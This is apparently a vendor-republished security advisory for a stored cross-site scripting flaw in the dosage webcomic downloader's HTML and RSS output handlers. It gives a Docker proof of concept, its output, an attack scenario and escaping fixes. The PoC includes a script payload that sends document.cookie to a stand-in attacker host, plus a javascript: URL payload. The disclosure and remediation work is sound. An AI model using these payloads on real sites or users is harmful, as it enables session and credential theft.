Summary
Dosage Vulnerable to Stored Cross-Site Scripting (XSS) in HTML/RSS Output Handlers
Full technical description
The HTML and RSS output handlers in dosagelib/events.py write user-controlled content (comic text and page URLs) directly into generated files without proper HTML escaping. When a user scrapes a malicious webcomic and opens the generated HTML/RSS file, attacker-controlled JavaScript can execute in their browser.
CWE: CWE-79 - Improper Neutralization of Input During Web Page Generation (Cross-site Scripting)
Details
Vulnerable Code Locations
The vulnerability exists in dosagelib/events.py where untrusted content is written to HTML/RSS output without escaping:
1. RSSEventHandler (lines 116-118)
# events.py:116-118
if comic.text:
description += '<br/>%s' % comic.text # ← Unescaped comic.text
description += '<br/><a href="%s">View Comic Online</a>' % pageUrl # ← Unescaped URL
2. HtmlEventHandler (lines 232, 238)
# events.py:232
self.html.write(u'<li><a href="%s">%s</a>\n' % (pageUrl, pageUrl)) # ← Unescaped URL
# events.py:238
if text:
self.html.write(u'<br/>%s\n' % text) # ← Unescaped text
Root Cause
BasicScraper.fetchText()inscraper.py:422callshtml.unescape()on extracted text- The output handlers never call
html.escape()before writing to files - No sanitization of URLs or text content occurs anywhere in the output pipeline
Data Flow
Malicious webcomic page
↓
textSearch XPath extracts content (e.g., img/@title, div text)
↓
BasicScraper.fetchText() calls html.unescape()
↓
comic.text stored without sanitization
↓
HtmlEventHandler/RSSEventHandler writes to file without html.escape()
↓
Generated HTML/RSS contains executable JavaScript
PoC
I created a proof-of-concept that demonstrates the vulnerability by simulating a malicious comic source.
Prerequisites
- Docker installed and running
PoC Files
Create these files in a poc/ directory:
1. poc/Dockerfile
FROM python:3.11-slim
LABEL description="PoC for dosage Stored XSS vulnerability (CWE-79)"
WORKDIR /app
COPY . /app
# Install dependencies
RUN pip install --no-cache-dir --quiet imagesize lxml requests rich platformdirs
# Install dosage
ENV SETUPTOOLS_SCM_PRETEND_VERSION_FOR_DOSAGE=0.0.0
RUN pip install --no-cache-dir --quiet .
CMD ["python", "poc/poc.py"]
2. poc/poc.py
#!/usr/bin/env python3
"""
PoC: Stored XSS in dosage HTML/RSS Output Handlers
Demonstrates that untrusted comic content is written to output files unescaped.
"""
import sys
from pathlib import Path
from types import SimpleNamespace
from dosagelib.events import HtmlEventHandler, RSSEventHandler
# XSS payloads simulating malicious webcomic content
MALICIOUS_TEXT = "Funny Comic!<script>fetch('http://attacker.com/?c='+document.cookie)</script>"
MALICIOUS_URL = "javascript:alert('XSS-via-URL')"
def check_vulnerability(content: str, marker: str, description: str) -> bool:
"""Check if unescaped marker appears in content."""
if marker.lower() in content.lower():
print(f" [VULNERABLE] {description}")
print(f" Found unescaped: {marker}")
return True
print(f" [SAFE] {description}")
return False
def main():
print("=" * 70)
print("PoC: Stored XSS in dosage HTML/RSS Output Handlers")
print("=" * 70)
print()
base = Path(__file__).parent / "output"
base.mkdir(parents=True, exist_ok=True)
# Create dummy image file
img_path = base / "payload.png"
img_path.write_bytes(b"\x89PNG\r\n\x1a\n")
# Simulate comic with malicious content
comic = SimpleNamespace(
scraper=SimpleNamespace(name="MaliciousComic"),
referrer=MALICIOUS_URL,
text=MALICIOUS_TEXT,
url="http://example.com/comic.png"
)
vulnerabilities_found = 0
# Test RSS Handler
print("[*] Testing RSSEventHandler...")
rss_handler = RSSEventHandler(str(base), None, False)
rss_handler.start()
rss_handler.comicDownloaded(comic, str(img_path))
rss_handler.end()
rss_path = Path(rss_handler.rssfn)
rss_content = rss_path.read_text(encoding="utf-8")
print(f" Output file: {rss_path}")
if check_vulnerability(rss_content, "javascript:", "pageUrl in RSS href"):
vulnerabilities_found += 1
# Test HTML Handler
print()
print("[*] Testing HtmlEventHandler...")
html_handler = HtmlEventHandler(str(base), None, False)
html_handler.start()
html_path = Path(html_handler.html.name)
html_handler.comicDownloaded(comic, str(img_path), text=MALICIOUS_TEXT)
html_handler.end()
html_content = html_path.read_text(encoding="utf-8")
print(f" Output file: {html_path}")
if check_vulnerability(html_content, "<script>", "text param in HTML"):
vulnerabilities_found += 1
if check_vulnerability(html_content, "javascript:", "pageUrl in HTML link"):
vulnerabilities_found += 1
# Show vulnerable content
print()
print("-" * 70)
print("Vulnerable Content in Generated HTML:")
print("-" * 70)
for line in html_content.splitlines():
if "<script>" in line.lower() or "javascript:" in line.lower():
print(f" {line}")
print()
print("=" * 70)
print(f"RESULT: {vulnerabilities_found} XSS vulnerability vectors confirmed!")
print("=" * 70)
return 0 if vulnerabilities_found > 0 else 1
if __name__ == "__main__":
sys.exit(main())
3. poc/run_poc.sh
#!/usr/bin/env bash
set -euo pipefail
SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
ROOT_DIR="$(cd "${SCRIPT_DIR}/.." && pwd)"
echo "[*] Building PoC Docker image..."
docker build -t dosage-xss-poc -f "${SCRIPT_DIR}/Dockerfile" "${ROOT_DIR}" --quiet
echo "[*] Running PoC..."
docker run --rm dosage-xss-poc
echo "[*] Cleanup: docker rmi dosage-xss-poc"
Running the PoC
cd /path/to/dosage
chmod +x poc/run_poc.sh
./poc/run_poc.sh
PoC Output
======================================================================
PoC: Stored XSS in dosage HTML/RSS Output Handlers
======================================================================
[*] Testing RSSEventHandler...
Output file: /app/poc/output/dailydose.rss
[VULNERABLE] pageUrl in RSS href
Found unescaped: javascript:
[*] Testing HtmlEventHandler...
Output file: /app/poc/output/html/comics-20251210.html
[VULNERABLE] text param in HTML
Found unescaped: <script>
[VULNERABLE] pageUrl in HTML link
Found unescaped: javascript:
----------------------------------------------------------------------
Vulnerable Content in Generated HTML:
----------------------------------------------------------------------
<li><a href="javascript:alert('XSS-via-URL')">javascript:alert('XSS-via-URL')</a>
<br/>Funny Comic!<script>fetch('http://attacker.com/?c='+document.cookie)</script>
======================================================================
RESULT: 3 XSS vulnerability vectors confirmed!
======================================================================
The output shows that:
- The
javascript:URL is written directly into<a href>attributes - The
<script>tag from comic text appears unescaped in the HTML body
Who is affected?
- Users who use
dosage --output htmlordosage --output rssoptions - Anyone who opens the generated HTML/RSS files in a browser
Attack scenario
- Attacker creates or compromises a webcomic site
- Attacker injects JavaScript into image title/alt attributes:
<img src="comic.png" title="Funny!<script>alert(1)</script>"> - Victim runs:
dosage MaliciousComic --output html - The generated
Comics/html/comics-YYYYMMDD.htmlcontains the unescaped script - When victim opens the file, JavaScript executes
Potential consequences
- Cookie theft if files are served over HTTP
- Local file access via
file://protocol - Phishing attacks through DOM manipulation
Resources
Impact
Untrusted input is rendered as active markup in a victim's browser, which can run script in their session. Typical impact: session or credential theft, and actions taken as the user.
GHSA-75MW-H36V-2JV7 has a CVSS score of 6.1 (Medium). The vector is network-reachable, no privileges required, and user interaction required. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (3.3); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
Escape all user-controlled content before writing to HTML/RSS:
import html
# In RSSEventHandler.comicDownloaded() - events.py around line 116:
if comic.text:
description += '<br/>%s' % html.escape(comic.text)
description += '<br/><a href="%s">View Comic Online</a>' % html.escape(pageUrl)
# In HtmlEventHandler.comicDownloaded() - events.py around line 232:
self.html.write(u'<li><a href="%s">%s</a>\n' % (html.escape(pageUrl), html.escape(pageUrl)))
# events.py around line 238:
if text:
self.html.write(u'<br/>%s\n' % html.escape(text))
For URLs, validating that they use safe protocols (http://, https://) would also help prevent javascript: URLs.
Frequently Asked Questions
- What is GHSA-75MW-H36V-2JV7? GHSA-75MW-H36V-2JV7 is a medium-severity cross-site scripting (XSS) vulnerability in dosage (pip), affecting versions <= 3.2. It is fixed in 3.3. Untrusted input is rendered as active markup in a victim's browser, which can run script in their session.
- How severe is GHSA-75MW-H36V-2JV7? GHSA-75MW-H36V-2JV7 has a CVSS score of 6.1 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of dosage are affected by GHSA-75MW-H36V-2JV7? dosage (pip) versions <= 3.2 is affected.
- Is there a fix for GHSA-75MW-H36V-2JV7? Yes. GHSA-75MW-H36V-2JV7 is fixed in 3.3. Upgrade to this version or later.
- Is GHSA-75MW-H36V-2JV7 exploitable, and should I be worried? Whether GHSA-75MW-H36V-2JV7 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether GHSA-75MW-H36V-2JV7 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix GHSA-75MW-H36V-2JV7? Upgrade
dosageto 3.3 or later.